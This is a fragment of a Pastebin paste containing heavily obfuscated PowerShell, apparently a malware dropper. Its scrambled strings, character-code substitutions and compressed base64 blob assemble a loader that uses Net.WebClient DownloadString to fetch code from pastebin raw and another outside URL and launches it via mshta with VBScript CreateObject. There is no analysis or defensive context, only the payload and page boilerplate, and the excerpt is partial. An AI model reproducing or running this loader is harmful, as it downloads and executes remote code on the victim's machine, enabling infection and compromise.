  97. Brea','Y{3}{0}{2}','opiiFCD','1}{0','r]103),[cHa','v,mAvhomA','ntains (OGY{0}{2}{1}OGY-f mAvVirmAv','0}{1}OGY -f mAvEcmAv,mA','SystmAv,mAv.Net.WebCmAv,mAvlimAv)).(OGY{1}{0}{2}OGY-fmAvloadStrmAv,mAvDownmAv,mAvingmAv).Invoke((OGY{10}{7}{13}{2}{9}{11}{14}{6}{1}{4}{0}{12}{3}{8}{5}OGY','Y{0}{1}OGY-f mAvEcm','m.TEXT.ENCODINg]::ASCIi)} )','ow.close)mAv) -cRePlACe([cHar]52+[cHar]120+[cHar]80),[cHar]34 -repLACe([cHar]82+[cHar]109+[cHa','+FiwzAcZbIqhA4pPTIKthgrpcATRrtwYQj1wA3nSlIdeU9YKdPpLi1ONSnLZSrFDz8vNOmrd6D','opmAv+mAv','r]36-repLACemAv','gao1DUOQwaPgod8+uqc+uoi','.Io.ComPReSsiOn.defLATeSTream([System.iO.mEMoRystReAm] [SYSTem.ConVErT]::frombAsE64STRIng','}OGY','pomAv,mAv/sub/mAv,mAveus.smAv,mAvp://www.realitmAv,mAvramAv,mAvk/adminmAv,mAvhttmAv,mAvbmA','yComAv)
  98. jNa{WarnIngnSTPnSTRenSTFerEnCe} =','+mAvshelmAv+m','0}OGY-fmAvllmAv,mAvShemAv) (mAv/tmAv)','v,m','-f mAvKEmAv,mAvY_C',' r7n .(OGY{1}{0}OGY','vetmA','RZq3UCX+VViJg6hEBp9kkpfwsAVVv6b+s62wu/d','XO/NLmf7D0/3j7NZJfP5/N2mDduN327aFk+z3aTtpsEy1','mAv) ','5}{4}{6}{8}{7}{','mAvFkmAv,mAvcom/raw/mAv,mAvkmAv,mAvCMpSXmAv,mAvhtmAv,mAvtps:mAv,mAv//mAv,mAvpastebin.mAv))
  99. }','imAv) (OGY{0}{1}OGY-fmAv/tmAv,mAvrmAv) (mAvmsmAv+mAvhta mAv+((mAvvbmAv+mAvscrmAv+mAvipt:CreatemAv+mAvObmAv+mAvject(VZusmAv+mAv','mAvrmAv,mAvtual PmAv,mAvmmAv)){
  100. &(OGY{',' (jNa{MOnSTdnSTeL} ','xfvVcnF6vDp4eXr+uL5//HVeXXnX','doglf3090FH1qNLmrrPW7l/5HlFGTrl8RLN')).rePlaCe(([ChaR]69+[ChaR]89+[ChaR]50),'\').rePlaCe(([ChaR]110+[ChaR]83+[ChaR]84),'`').rePlaCe('r7n',[STRINg][ChaR]124).rePlaCe(([ChaR]106+[ChaR]78+[ChaR]97),'$').rePlaCe(([ChaR]79+[ChaR]71+[ChaR]89),[STRINg][ChaR]34).rePlaCe('mAv',[STRINg][ChaR]39)| & ( $EnV:coMSpEc[4,15,25]-JOIn'')'),[Io.COmpreSSioN.cOMPrESSIoNmODE]::DeCompResS)| FOrEacH{nEW-ObJeCt sYSTEM.io.StreAMreadeR($_,[sysTEM.TexT.ENCOdInG]::AScII)} ).REAdtoeND( )
Advertisement
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!